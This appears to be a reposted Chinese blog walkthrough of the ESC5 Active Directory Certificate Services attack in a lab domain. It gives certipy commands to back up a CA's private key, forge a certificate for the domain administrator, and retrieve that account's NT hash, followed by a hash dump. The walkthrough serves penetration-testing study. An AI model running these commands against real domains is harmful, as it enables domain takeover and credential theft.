news 2026/4/24 18:31:33

深入解析ESC5 ADCS配置漏洞利用——活动目录渗透测试实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
深入解析ESC5 ADCS配置漏洞利用——活动目录渗透测试实战

摘要

继我之前写的ESC4文章之后——现在我的工作完成了,终于有更多时间学习,我想我也要深入研究一下ESC5。说实话,我不知道为什么,但学习活动目录(Active Directory)利用感觉起来更令人兴奋,尽管在印度尼西亚的真实环境中仍然相当罕见。可能只是我理想主义的一面吧,哈哈哈。好了,让我们开始一起学习吧。

什么是ESC5

ESC5是一种针对活动目录证书服务(ADCS)的攻击。这种攻击利用了对证书颁发机构(CA)的访问权限。如果攻击者获得了CA服务器上的本地管理员权限,就可以提取CA证书及其私钥。利用该私钥,攻击者可以为特权账户(如域管理员)伪造恶意证书。然后,这些伪造的证书可用于通过PKINIT向AD进行身份验证并请求TGT(票据授予票据)。

搭建实验室

创建一个任意名称的账户,并将该账户添加为CA服务器(DC01)上的本地管理员:

net localgroup Administrators"igniteraj"/add net localgroup Administrators

(按回车或点击查看完整大小的图片)

枚举与利用

使用Certipy在CA服务器上以本地管理员账户枚举证书。
(按回车或点击查看完整大小的图片)
(按回车或点击查看完整大小的图片)

使用Certipy备份CA证书和私钥。

certipy ca -backup -u alex.doe@sandbox.local -p"MyPassword123"-ca ignite-DC-CA -target10.100.150.10

伪造我们想要接管的账户——在本例中是administrator@sandbox.local,因为它是我的目标上的域管理员。

certipy forge -ca-pfx'sandbox-ca.pfx'-upn administrator@sandbox.local

使用Certipy获取administrator@sandbox.local账户的NT哈希。

certipy auth -pfx administrator_forged.pfx -dc-ip10.100.150.10

(按回车或点击查看完整大小的图片)
(按回车或点击查看完整大小的图片)

使用SecretDump导出哈希凭据。
(按回车或点击查看完整大小的图片)

参考资料

  • https://www.hackingarticles.in/ad-cs-esc5-vulnerable-pki-object-access-control/
  • https://mayfly277.github.io/posts/ADCS-part14/
  • https://www.vaadata.com/blog/ad-cs-security-understanding-and-exploiting-esc-techniques/
    CSD0tFqvECLokhw9aBeRqixLzx0482UkkKWM4rJX2T+9qXDLcUYQal3W1ykfQ9si0pulG6s9/0h/hW8d28k1SsX8sObhJabP00Qx1uju62JSdqgDv8XWiIQ1stSnFOlB/q2Fi82D6F6LlOrFptzcOg==
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 10:13:33

【Java毕设项目】基于微信小程序的仓储管理系统+SpringBoot后端实现

【Java毕设项目】基于微信小程序的仓储管理系统SpringBoot后端实现 weixin185-基于微信小程序的仓储管理系统SpringBoot后端实现 文章目录【Java毕设项目】基于微信小程序的仓储管理系统SpringBoot后端实现一、内容包括二、运行环境三、需求分析四、功能模块五、效果图展示【部…

作者头像 李华
网站建设 2026/4/18 15:56:20

LobeChat能否实现负载均衡?高可用架构设计建议

LobeChat 能否实现负载均衡?高可用架构设计建议 在企业级 AI 应用日益普及的今天,一个稳定、可扩展的前端交互界面往往决定了用户体验的成败。LobeChat 作为一款现代化、开源的聊天机器人 Web 界面,凭借其优雅的设计和强大的多模型接入能力&a…

作者头像 李华
网站建设 2026/4/22 14:31:15

Locust:可能是一款最被低估的压测工具

01 Locust介绍 开源性能测试工具https://www.locust.io/,基于Python的性能压测工具,使用Python代码来定义用户行为,模拟百万计的并发用户访问。每个测试用户的行为由您定义,并且通过Web UI实时监控聚集过程。 压力发生器作为性能…

作者头像 李华
网站建设 2026/4/23 6:31:52

大模型完全指南:小白入门到程序员精通,一篇就够,必收藏

本文系统介绍了大模型、大语言模型、端到端模型和多模态大模型的概念、工作原理及应用案例。文章详细阐述了大模型训练的基础要素(数据、算法、算力)和训练流程,解释了各类模型的特点和区别,特别强调了多模态大模型处理和理解不同…

作者头像 李华
网站建设 2026/4/19 10:48:59

【收藏必备】小白也能懂的大模型全解析:原理、应用与实战

这篇文章全面介绍了大模型技术,包括定义、特点(海量参数、训练数据和计算能力)、技术原理(Transformer架构、预训练与微调、分布式训练等)、应用场景(NLP、计算机视觉、多模态)及面临的挑战&…

作者头像 李华
网站建设 2026/4/24 9:47:49

构建可用AI系统:从GPU到界面的五层技术栈详解(建议收藏)

文章详细解析了AI应用开发的五层技术栈架构:基础设施层(部署方式选择)、模型层(模型选择策略)、数据层(外部知识整合)、编排层(复杂任务分解)和应用层(用户交互设计)。强调AI系统不仅是模型选择,而是从硬件到界面的完整技术体系,各层协同工作…

作者头像 李华